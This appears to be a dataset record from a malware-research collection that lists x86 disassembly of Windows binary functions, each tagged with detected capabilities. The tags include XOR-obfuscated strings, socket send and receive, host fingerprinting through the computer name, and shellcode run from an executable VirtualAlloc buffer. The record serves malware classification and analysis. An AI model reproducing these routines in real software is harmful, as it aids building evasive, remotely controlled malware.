joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408971
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
jmp 0x472ffa
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x6279
xor cx, word [eax*2 + 0x5ae188]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 7
jl 0x47300c
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4593
xor dx, word [eax*2 + 0x5ae198]
inc eax
mov word [ebp + eax*2 - 0x20a], dx
cmp eax, 5
jl 0x473031
lea eax, [ebp - 0x108]
jmp 0x4cab5a
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4cab85
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00546fcb
mov esp, ebp
pop ebp
ret
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00546fcb
mov esp, ebp
pop ebp
ret

Function at 0x410e1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x6096c
call fcn.005093e6
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x60968], eax
push ebx
push esi
xor ebx, ebx
push edi
jmp 0x54a4d8
cmp cl, bl
jne 0x550c09
sub eax, edx
dec eax
cmp eax, ebx
jl 0x5140ca
cmp byte [esp + eax + 0x60670], 0x5c
je 0x5140c3
dec eax
jns 0x5140a9
jmp 0x5140ca
mov byte [esp + eax + 0x60671], bl
xor eax, eax
lea esp, [esp]
jmp 0x53608e
mov cl, byte [esp + eax + 0x60670]
mov byte [eax + 0x6724e8], cl
inc eax
cmp cl, bl
jne 0x53608e
call fcn.004cab96
push ebx
call esi
mov edx, dword [eax + 0x3c]
add edx, eax
push 0x100
mov dword [0x6b7528], eax
mov dword [0x6b752c], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor eax, eax
mov edi, edi
lea ecx, [eax + 1]
imul ecx, ecx, 0x639d
xor cx, word [eax*2 + 0x5aeb5c]
inc eax
jmp dword [0x5360ed]
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x6f9f
xor cx, word [eax*2 + 0x5aeb3c]
inc eax
mov word [esp + eax*2 + 0x1e], cx
cmp eax, 0xa
jl 0x54a4da
lea edx, [esp + 0x20]
push edx
call fcn.00457f10
add esp, 4
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x4cd1
xor cx, word [eax*2 + 0x5aeb54]
inc eax
mov word [esp + eax*2 + 0x1e], cx
cmp eax, 2
jl 0x54a509
lea edx, [esp + 0x1f]
push edx
lea eax, [esp + 0x24]
jmp 0x550bd8
push eax
call dword [sym.imp.msvcrt.dll_scanf]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 8
push 0x100
lea ecx, [esp + 0x60674]
push ecx
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x60670]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
jmp 0x514096
Function at 0x441de6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6bbaa4], cl
jne 0x569a6e
jmp 0x4a3c86
or dword [0x6bbaa4], ecx
xor eax, eax
jmp 0x4a3c93
lea edx, [eax + 1]
imul edx, edx, 0x1d8b
xor dx, word [eax*2 + 0x5ae248]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x4a3c93
xor eax, eax
jmp 0x569a2a
lea edx, [eax + 1]
imul edx, edx, 0x4c32
xor dx, word [eax*2 + 0x5ae260]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 7
jl 0x569a2a
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6bbaa0], eax
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [0x6bbaa0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00546fcb
jmp dword [0x569a90]

Function at 0x457f28
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x6b753c]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x49217b
push edi
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x100000
jle 0x4d1c07
jmp 0x4d1c02
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, dword [ebp + 0xc]
jl 0x457f42
cmp edi, 0xffffffff
pop edi
jne 0x49217b
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
jmp 0x461d94
mov eax, 0x100000
push 0
push eax
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jle 0x492168
mov eax, dword [0x6b7540]
add esi, edi
mov dword [ebp - 8], esi
test eax, eax
je 0x49215f
push 0x492146
ret

Function at 0x480ae8
Capabilities:
Encode data using xor

Disassembly:
test edi, edi
jle 0x40896b
lea ebx, [ebx]
mov edx, dword [esi]
lea ecx, [eax + 1]
imul ecx, dword [ebp + 8]
xor cx, word [ebx + eax*2]
inc eax
mov word [edx + eax*2 - 2], cx
cmp eax, edi
jl 0x408950
mov eax, esi
pop ebp
ret 8
push ebp
mov ebp, esp
cmp byte [0x6b7650], 0
jne 0x480b12
push 0x1000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
mov dword [0x6b740c], eax
mov byte [0x6b7650], 1
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x6b740c]
lea edx, [ecx + eax*2]
xor eax, eax
mov dword [esi], edx
jmp 0x408942
Function at 0x481554
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x1ea7
xor dx, word [eax*2 + 0x5ae28c]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 5
jl 0x438b5a
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
jmp dword [0x438b95]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push edx
push esi
push eax
call dword [0x6bba98]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00546fcb
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6bba9c], cl
jne 0x450b41
or dword [0x6bba9c], ecx
xor eax, eax
jmp 0x481585
lea edx, [eax + 1]
imul edx, edx, 0x3417
xor dx, word [eax*2 + 0x5ae270]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xd
jl 0x481585
jmp 0x438b58
Function at 0x4bd07c
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
sub edx, dword [ebp - 0x58]
mov word [ebp - 0x56], dx
call esi
and eax, 0x800000ff
jns 0x411229
dec eax
or eax, 0xffffff00
inc eax
cmp byte [ebp - 0x54], 0
mov byte [ebp - 0x53], al
je 0x411248
mov cl, al
xor eax, eax
xor byte [ebp + eax - 0x52], cl
inc eax
cmp eax, 0x4a
jl 0x41123a
push 0
push 0x50
lea eax, [ebp - 0x58]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp byte [ebp - 0x54], 0
je 0x55ac0d
jmp 0x55abfa
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.msvcrt.dll_rand]
push edi
mov edi, dword [0x6b753c]
call esi
cdq
mov ecx, 0x3e8
idiv ecx
mov dword [ebp - 0x50], 0xa
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x54], 1
mov word [ebp - 0x58], dx
mov edx, ecx
jmp 0x41120e
mov cl, byte [ebp - 0x53]
xor eax, eax
xor byte [ebp + eax - 0x52], cl
inc eax
cmp eax, 0x4a
jl 0x55abff
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00546fcb
mov esp, ebp
pop ebp
ret

Function at 0x4e20e7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x33d0
call fcn.005093e6
mov eax, dword [section..data]
jmp 0x4eed1e
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x33bc], eax
mov dword [ebp - 0x33c4], edi
xor eax, eax
lea ecx, [ecx]
lea ecx, [eax + 1]
imul ecx, ecx, 0x7a6c
xor cx, word [eax*2 + 0x5ae79c]
inc eax
mov word [ebp + eax*2 - 0x318e], cx
cmp eax, 0xe
jl 0x4eed3c
lea edx, [ebp - 0x33b4]
push edx
push 1
push 0
lea eax, [ebp - 0x318c]
push 0x45fafa
ret

Function at 0x50642b
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x506445
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x506441
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
mov eax, edx
pop ebp
ret
Function at 0x54e2ef
Capabilities:
Terminate process

Disassembly:
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x438eac
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x445162
xor esi, esi
inc esi
mov eax, dword [0x8856d8]
cmp eax, esi
jne 0x438ec6
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x534152
mov eax, dword [0x8856d8]
test eax, eax
jne 0x53414c
mov dword [0x8856d8], esi
push 0x5ae178
push 0x5ae16c
jmp 0x53412c
push 0x10
push 0x5aec88
call fcn.0056cebe
jmp 0x44514c
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x8856dc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x438ea9
cmp eax, esi
jne 0x438e99
xor esi, esi
jmp 0x438e90
call fcn.00410e1f
add esp, 0xc
mov dword [0x672068], eax
cmp dword [0x67205c], ebx
jne 0x4512c0
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x67206c], ebx
jne 0x4afe7a
jmp dword [0x4512d4]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x672068]
call fcn.004b8779
ret
call fcn.00546fdf
pop ecx
pop ecx
test eax, eax
je 0x534152
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4afe86
mov dword [0x67206c], esi
mov eax, dword [0x8856d8]
cmp eax, esi
jne 0x5445e4
push 0x5ae168
push 0x5ae160
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x8856d8], 2
jmp dword [0x534183]
cmp dword [ebp - 0x1c], ebx
jne 0x5445f5
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x8856e0], ebx
je 0x54461e
push 0x8856e0
call fcn.0051d8c5
pop ecx
test eax, eax
je 0x54461e
push ebx
push 2
push ebx
call dword [0x8856e0]
push dword [0x672054]
push dword [0x672058]
push dword [0x672050]
jmp 0x45126c
push 0x40100a
call fcn.00401000
call fcn.004f475d
jmp 0x43d72a
Function at 0x55932f
Capabilities:
Encode data using xor
Get hostname

Disassembly:
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
cmp byte [0x6b7550], 0
rep movsb byte es:[edi], byte [esi]
jne 0x4327cc
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x10c]
mov byte [eax + 0x6b7550], cl
inc eax
test cl, cl
jne 0x4327b6
mov eax, ebx
xor esi, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4327da
sub eax, edx
mov dword [ebp - 0x3e0], eax
jmp 0x5421ae
xor al, al
pop ebx
call fcn.00546fcb
mov esp, ebp
pop ebp
ret
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
lea eax, [ebp - 0x3b8]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4cc1f0
lea edi, [ebp - 0x10c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4cc204
jmp 0x432790
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
jmp 0x47d286
test ebx, ebx
je 0x523a4f
push 0xff
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x3e0]
push ecx
lea edx, [ebp - 0x10c]
push edx
mov dword [ebp - 0x3e0], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x58a168
lea ecx, [eax + 1]
imul ecx, ecx, 0x7b11
jmp dword [0x536423]
mov al, byte [ebp - 0x10c]
xor ecx, ecx
test al, al
je 0x5421ed
mov bl, al
lea ecx, [ecx]
mov eax, ecx
cdq
idiv dword [ebp - 0x3e0]
mov eax, dword [ebp - 0x3e4]
inc ecx
movzx edx, byte [edx + eax]
movzx eax, bl
mov bl, byte [ebp + ecx - 0x10c]
xor edx, eax
add esi, edx
test bl, bl
jne 0x5421c3
mov eax, 0x2aaaaaab
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
jmp dword [0x542203]
push ebp
mov ebp, esp
sub esp, 0x3e8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], ebx
test eax, eax
je 0x523a4f
jmp 0x5363c6
mov edx, dword [ebp - 0x3e0]
push 1
lea eax, [ebp - 0x3dc]
push eax
push 0
push 0
mov byte [ebp + edx - 0x10c], 0
mov dword [ebp - 0x3dc], 0x1a8
jmp 0x4cc1e2
Function at 0x573ce4
Capabilities:
Execute shellcode via indirect call

Disassembly:
jne 0x4794a1
push 0x40
push 0x3000
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x114]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x110]
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x10c]
jmp dword [0x44bafd]
mov edx, dword [0x6b7674]
push edx
mov ebx, eax
call fcn.0059937d
mov eax, dword [0x6b7670]
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x124]
push ebx
push ecx
mov ecx, dword [ebp - 0x120]
jmp 0x4c88c0
mov esp, ebp
pop ebp
ret 8
push edx
push ecx
push edi
call eax
mov esi, eax
cmp dword [0x6b7674], ebx
jne 0x4c88e9
mov edi, dword [sym.imp.msvcrt.dll_rand]
call edi
mov word [0x6b7674], ax
call edi
mov word [0x6b7676], ax
mov edx, dword [0x6b7674]
mov ebx, dword [0x6b7670]
push edx
call fcn.0059937d
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00546fcb
jmp 0x49b7c0
cmp eax, 0xa
jne 0x58013e
mov eax, dword [0x6b7304]
jmp dword [0x514c17]
mov byte [ebp - 0x10b], 0xc3
cmp eax, 6
jne 0x514c02
mov eax, dword [0x6b7300]
cmp eax, 1
jne 0x55d2c2
mov esi, 0x18f
jmp 0x58013e
cmp eax, 2
jne 0x55d2d2
mov esi, eax
jmp 0x58013e
cmp eax, 3
jne 0x55d2e2
mov esi, eax
jmp 0x58013e
xor eax, eax
mov edi, edi
lea edx, [eax + 1]
imul edx, edx, 0x61e2
jmp dword [0x55d2f9]
push ebp
mov ebp, esp
sub esp, 0x124
jmp 0x5915de
mov eax, 0x18
mov word [ebp - 0x111], ax
mov eax, dword [0x6b7670]
mov dword [ebp - 0x11b], esi
cmp eax, ebx
jmp 0x44bab6
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x120], eax
mov eax, dword [0x6b72fc]
xor ebx, ebx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 0x124], ecx
mov byte [ebp - 0x11c], 0xb8
mov dword [ebp - 0x117], 0x3e8
mov word [ebp - 0x113], 0xc200
mov dword [ebp - 0x10f], 0x340fd48b
jmp 0x55d29a

Function at 0x58d3f6
Capabilities:
Create tcp socket
Create udp socket
Encode data using xor

Disassembly:
xor eax, eax
nop
lea ecx, [eax + 1]
imul ecx, ecx, 0x3295
xor cx, word [eax*2 + 0x5aeab0]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
cmp eax, 9
jl 0x5178ed
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
lea edx, [ebp - 0x118]
push edx
push 0x6723c8
call dword [sym.imp.msvcrt.dll_sprintf]
push 0x6723c8
call fcn.00457f10
add esp, 0x10
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
jmp 0x58b61c
xor ecx, ebp
call fcn.00546fcb
mov esp, ebp
pop ebp
ret
xor eax, eax
lea esp, [esp]
lea ecx, [eax + 1]
imul ecx, ecx, 0x973
xor cx, word [eax*2 + 0x5aeac4]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
jmp dword [0x58b650]
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x6b753c], eax
cmp eax, 0xffffffff
jne 0x58b627
jmp 0x5178ea
Function at 0x59937d
Capabilities:
Encode data using xor

Disassembly:
mov word [edi*4 + 0x6b768a], ax
inc edi
cmp edi, esi
jb 0x5993a1
xor ecx, ecx
xor edx, edx
mov eax, ecx
div esi
inc ecx
mov edi, edx
xor edx, edx
div esi
mov eax, esi
sub eax, edx
mov edx, dword [eax*4 + 0x6b7684]
xor edx, dword [edi*4 + 0x6b7688]
xor edx, dword [ebx + ecx*4 - 4]
xor edx, dword [ebp + 8]
mov dword [ebx + ecx*4 - 4], edx
cmp ecx, 0x400
jb 0x4817cd
pop edi
pop esi
pop ebp
ret
push ebp
mov ebp, esp
push esi
mov esi, dword [0x6b7654]
push edi
test esi, esi
jne 0x4817cb
mov dword [0x6b7654], 0x100
xor edi, edi
jmp 0x5993a1
mov esi, dword [sym.imp.msvcrt.dll_rand]
call esi
mov word [edi*4 + 0x6b7688], ax
call esi
mov esi, dword [0x6b7654]
jmp 0x4817ba
Function at 0x40bb00
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x462439
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x49f94c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call dword [0x4696ec]
mov edi, dword [ebp + 8]
mov ebx, dword [0x4696fc]
xor eax, eax
mov dword [esi], 0x46f5b4
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], eax
mov dword [ebp - 4], eax
mov eax, dword [edi + 0x114]
mov dword [esi + 4], eax
mov ecx, dword [edi + 0x124]
lea edx, [edi + 0x12c]
mov dword [esi + 0x44], ecx
push edx
mov ecx, esi
call ebx
mov dword [esi + 0xc], eax
lea eax, [edi + 0x140]
push eax
mov ecx, esi
call ebx
lea ecx, [edi + 0x144]
push ecx
mov ecx, esi
mov dword [esi + 0x10], eax
call ebx
lea edx, [edi + 0x150]
push edx
mov ecx, esi
mov dword [esi + 0x14], eax
call ebx
mov dword [esi + 0x3c], eax
lea eax, [edi + 0x168]
push eax
mov ecx, esi
call ebx
lea ecx, [edi + 0x170]
push ecx
mov ecx, esi
mov dword [esi + 0x30], eax
call ebx
mov dword [esi + 0x38], eax
mov edx, dword [edi + 0x15c]
lea ecx, [edi + 0x158]
mov dword [esi + 0x28], edx
mov eax, dword [edi + 0x160]
push ecx
mov ecx, esi
mov dword [esi + 0x2c], eax
call ebx
lea edx, [edi + 0x16c]
push edx
mov ecx, esi
mov dword [esi + 0x24], eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x128]
mov dword [esi + 0x40], eax
cmp dword [edi + 0x130], 0
setne cl
mov byte [esi + 0x48], cl
cmp dword [edi + 0x134], 0
setne dl
mov byte [esi + 0x49], dl
cmp dword [edi + 0x138], 0
setne al
mov byte [esi + 0x4a], al
mov cl, byte [edi + 0x154]
mov byte [esi + 0x50], cl
mov dl, byte [edi + 0x174]
lea eax, [edi + 0x148]
push eax
mov ecx, esi
mov byte [esi + 0x51], dl
call ebx
lea ecx, [edi + 0x164]
mov dword [esi + 0x1c], eax
push ecx
mov ecx, esi
call ebx
lea edx, [edi + 0x14c]
push edx
mov ecx, esi
mov dword [esi + 0x20], eax
call ebx
mov dword [esi + 0x18], eax
mov al, byte [edi + 0x178]
mov byte [esi + 0x52], al
mov ecx, dword [edi + 0x17c]
mov dword [esi + 0x54], ecx
mov edx, dword [edi + 0x180]
mov dword [esi + 0x58], edx
mov eax, dword [edi + 0x184]
mov dword [esi + 0x4c], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40bc90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x462439
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x49f94c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call dword [0x4696ec]
mov edi, dword [ebp + 8]
mov ebx, dword [0x469700]
xor eax, eax
mov dword [esi], 0x46f5b4
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], eax
mov dword [ebp - 4], eax
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x44], ecx
mov edx, dword [edi + 0xc]
push edx
mov ecx, esi
call ebx
mov dword [esi + 0xc], eax
mov eax, dword [edi + 0x3c]
push eax
mov ecx, esi
call ebx
mov dword [esi + 0x3c], eax
mov ecx, dword [edi + 0x10]
push ecx
mov ecx, esi
call ebx
mov dword [esi + 0x10], eax
mov edx, dword [edi + 0x14]
push edx
mov ecx, esi
call ebx
mov dword [esi + 0x14], eax
mov eax, dword [edi + 0x18]
push eax
mov ecx, esi
call ebx
mov dword [esi + 0x18], eax
mov ecx, dword [edi + 0x30]
push ecx
mov ecx, esi
call ebx
mov dword [esi + 0x30], eax
mov edx, dword [edi + 0x38]
push edx
mov ecx, esi
call ebx
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov ecx, dword [edi + 0x2c]
mov dword [esi + 0x2c], ecx
mov edx, dword [edi + 0x24]
push edx
mov ecx, esi
call ebx
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x34]
push eax
mov ecx, esi
call ebx
mov dword [esi + 0x34], eax
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x40], ecx
movzx edx, byte [edi + 0x48]
mov byte [esi + 0x48], dl
movzx eax, byte [edi + 0x49]
mov byte [esi + 0x49], al
mov cl, byte [edi + 0x4a]
mov byte [esi + 0x4a], cl
movzx edx, byte [edi + 0x50]
mov byte [esi + 0x50], dl
movzx eax, byte [edi + 0x51]
mov byte [esi + 0x51], al
mov ecx, dword [edi + 0x1c]
push ecx
mov ecx, esi
call ebx
mov dword [esi + 0x1c], eax
mov edx, dword [edi + 0x20]
push edx
mov ecx, esi
call ebx
mov dword [esi + 0x20], eax
movzx eax, byte [edi + 0x52]
mov byte [esi + 0x52], al
mov ecx, dword [edi + 0x54]
mov dword [esi + 0x54], ecx
mov edx, dword [edi + 0x58]
mov dword [esi + 0x58], edx
mov eax, dword [edi + 0x4c]
mov dword [esi + 0x4c], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40dfb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45f5f9
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x49f94c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call dword [0x4696ec]
xor edi, edi
push 0xa
lea ecx, [esi + 0xc]
mov dword [ebp - 4], edi
mov dword [esi], 0x46ff94
call fcn.0045d8fc
or eax, 0xffffffff
mov dword [esi + 4], eax
mov dword [esi + 0x94], eax
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x84], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x8c], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], edi
mov dword [esi + 0x7c], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x90], edi
mov dword [esi + 0x98], edi
mov dword [esi + 0x9c], edi
mov dword [esi + 0xa0], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret